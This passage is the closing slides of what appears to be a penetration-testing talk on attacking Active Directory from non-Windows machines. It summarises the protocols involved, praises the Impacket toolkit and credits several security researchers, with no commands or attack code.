112. In Summary • There is SO much attack surface in Active Directory Environments • You don’t need to use Windows to “talk Windows” • DNS • LDAP • Kerberos • MS-RPC • More tools and techniques will make you a better pentester • Impacket is awesome 115
113. Shoulders of Giants • Huge shoutouts to the titans in this area: • @gentilkiwi • @passingthehash • @agsolino • @PyroTek3 • @TimMedin • …and countless more 116
114. Questions? @ropnop 117